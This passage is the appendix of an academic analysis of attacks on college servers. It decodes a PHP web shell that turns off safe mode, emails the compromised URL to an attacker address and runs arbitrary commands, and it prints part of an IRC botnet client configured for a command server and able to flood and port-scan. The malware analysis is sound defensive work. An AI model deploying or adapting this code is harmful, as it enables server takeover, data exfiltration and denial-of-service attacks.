        5ch2("S1f5 M2d5 2f th4s S5rv5r 4s : ");
        5ch2("S1f5OFF");
    }
    5ls5
    {
        5ch2("S1f5 M2d5 2f th4s S5rv5r 4s : ");
        5ch2("S1f5ON");
    }
}

[... the bulk of the obfuscated code omitted for brevity ...]

eval(base64_decode('JF9YP...DOwOw=='));
eval(
$_X=base64_decode($_X); //this has been shown above

//Now they are basically doing their own custom decode...
$_X=strtr($_X,'123456aouie','aouie123456');
//The new $_X when run through this decoding is:

$_R=ereg_replace('__FILE__',"'".$_F."'",$_X);
eval($_R);
$_R=0;
$_X=0;
);
```

C.3 Fully decoded and commented

Finally, we arrive at the plaintext source (with more comments added). The file first tries to turn safe mode on the server to off; send out an email to the intruder; and tries to execute commands using a variety of PHP functions.

```
<html>
<head><title>/\/\/\ Response CMD /\/\/\</title></head>
<body bgcolor=DC143C>
<H1>Changing this CMD will result in corrupt scanning !</H1>
<?php
$_F=__FILE__;

// Run system commands to determine status of system
if ((@eregi("uid", ex("id"))) || (@eregi("Windows", ex("net start")))) {
    echo("Safe Mode of this Server is : SafeOFF");
} else {   //if it thinks it is in safe mode currently
    ini_restore("safe_mode");    //try to modify out of safe mode
    ini_restore("open_basedir");
    if((@eregi("uid", ex("id"))) || (@eregi("Windows", ex("net start"))))
        echo("Safe Mode of this Server is : SafeOFF"); //recheck to see if successful
    else
        echo("Safe Mode of this Server is : SafeON");
}

//Send email to alert intrusion team if successful
mail(
    "adventurecrazyjan@gmail.com",                  //to
    "StableScanner",                        //subject line
    "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'], //the message
    "From: PitBull CreW <pitbullguys@onlinemail.com>"       //headers
    );

// Takes a command and tries to execute it with various methods
function ex($cfe) {
    $res = '';
    if (!empty($cfe)) { //if we gave it a valid identifier
        if(function_exists('exec'))  {      //see if can run external program
            @exec($cfe,$res);
            $res = join("\n",$res);
        } else if (function_exists('shell_exec')) {   //or run a cmd in shell
            $res = @shell_exec($cfe);
        } else if (function_exists('system')) {   //or can call program with system()
            @ob_start();
            @system($cfe);
            $res = @ob_get_contents();
            @ob_end_clean();
        } else if (function_exists('passthru')) {   //or like system(), except all info passed back
            @ob_start();
            @passthru($cfe);
            $res = @ob_get_contents();
            @ob_end_clean();
        } elseif(@is_resource($f = @popen($cfe,"r"))) { //or try to open variable as a file
            $res = "";
            while(!@feof($f))
                $res .= @fread($f,1024);
            @pclose($f);
        }
    }
    return $res;
}
//exit;

//It is unclear why this line would need to run assuming all above code is $_X
// $_R=ereg_replace('__FILE__',"'".$_F."'",$_X);

$_R=0; //null out values we used
$_X=0;

?>
</body>
</html>
```

Appendix D IRC Bot Payload

Here we show a very small segment of an IRC bot-herder payload which was discussed in section 4.2.2.

```
echo "JaheeM<br>";
/*
 *  #crew@corp. since 2003
 *  edited by: devil__ and MEIAFASE <admin@xdevil.org> <meiafase@pucorp.org>
 *  Friend: LP <fuckerboy@sercret.gov>
 *  COMMANDS:
 *  .user <password> //login to the bot
 *  .logout //logout of the bot
 *  .die //kill the bot
 *  .restart //restart the bot
 *  .mail <to> <from> <subject> <msg> //send an email
 *  .dns <IP|HOST> //dns lookup
 *  .download <URL> <filename> //download a file
 *  .exec <cmd> // uses exec() //execute a command
 *  .sexec <cmd> // uses shell_exec() //execute a command
 *  .cmd <cmd> // uses popen() //execute a command
 *  .info //get system information
 *  .php <php code> // uses eval() //execute php code
 *  .tcpflood <target> <packets> <packetsize> <port> <delay> //tcpflood attack
 *  .udpflood <target> <packets> <packetsize> <delay> //udpflood attack
 *  .raw <cmd> //raw IRC command
 *  .rndnick //change nickname
 *  .pscan <host> <port> //port scan
 *  .safe  // test safe_mode (dvl)
 *  .inbox <to> // test inbox (dvl)
 *  .conback <ip> <port> // conect back (dvl)
 *  .uname // return shell's uname using a php function (dvl)
 */

set_time_limit(0);
error_reporting(0);
echo "ok!";

class pBot
{
 var $config = array("server"=>"irc.eu.abjects.net",
                     "port"=>"6667",
                     "pass"=>"denielsan",
                     "prefix"=>"[report]",
                     "maxrand"=>"3",
                     "chan"=>"#k4m1",
                     "key"=>"####",
                     "modes"=>"+p",
                     "password"=>"miaghi",
                     "trigger"=>".",
                     "hostauth"=>"*" // * for any hostname
                     );
[ ... much code removed for brevity...]
}

$bot = new pBot;
$bot->start();
```

References

[1] Megan Spillane. Hackers crack college servers, access records. *The Dartmouth*, August 2004. http://thedartmouth.com/2004/08/03/news/hackers/.

[2] Dartmouth College. Dartmouth college quick facts. http://www.dartmouth.edu/apply/generalinfo/quickfacts/.

[3] Dartmouth College Office of Institutional Research. Dartmouth college fact book: Total staff headcount by job group -fall. http://www.dartmouth.edu/~oir/pdfs/stafftotalinstitution.pdf.

[4] Dartmouth Medical School. Dartmouth medical school facts & figures. http://dms.dartmouth.edu/about/information/dms_facts.shtml.

[5] Adam Goldstein. An overview of information security controls at dartmouth. Slide Presentation, March 2009. (ISTS brownbag, March 9$^{\text{th}}$, 2009).

[6] Erin Jaeger. Dartmouth to restrict wired access to internet. *The Dartmouth*, February 2009. http://thedartmouth.com/2009/02/02/news/internet/.

[7] Mat Grudzien. Students rely on public wireless. *The Dartmouth*, February 2008. http://thedartmouth.com/2008/02/25/news/wireless/.

[8] Secunia. Joomla! "mosconfig_absolute_path" file inclusion. http://secunia.com/advisories/29106/.

[9] Unknown blogger. Secure joomla file permissions - linux with apache.

[10] Secunia. Php "mb_send_mail()" and imap functions security bypass. http://secunia.com/advisories/18694/.

[11] FeeLCoMz. Fx29phpbot v1.71. http://feelcomz.wordpress.com/2008/09/page/2/.

[12] FeeLCoMz. Feelcomz bot source code. http://feelcomz.freehostia.com/botz/fx29bot.txt.

[13] Lenz Grimmer. Updated mysql 3.23.53a binaries now available. (Forum posting announcing release of MySQL 3.23.53a. We note that this release occurred in 2002). http://lists.mysql.com/mysql/122484.

[14] SunGard Higher Education. Sungard higher education - about us. http://www.sungardhe.com/about/.

[15] Kate Farley. Spam e-mails target 1,000 blitzmail users. *The Dartmouth*, February 2008. http://thedartmouth.com/2008/02/20/news/spam/.

[16] Author Unknown. Virus strikes 15 million pcs. *United Press International (UPI)*, January 2009. http://www.upi.com/Top_News/2009/01/25/Virus_strikes_15_million_PCs/UPI-19421232924206/.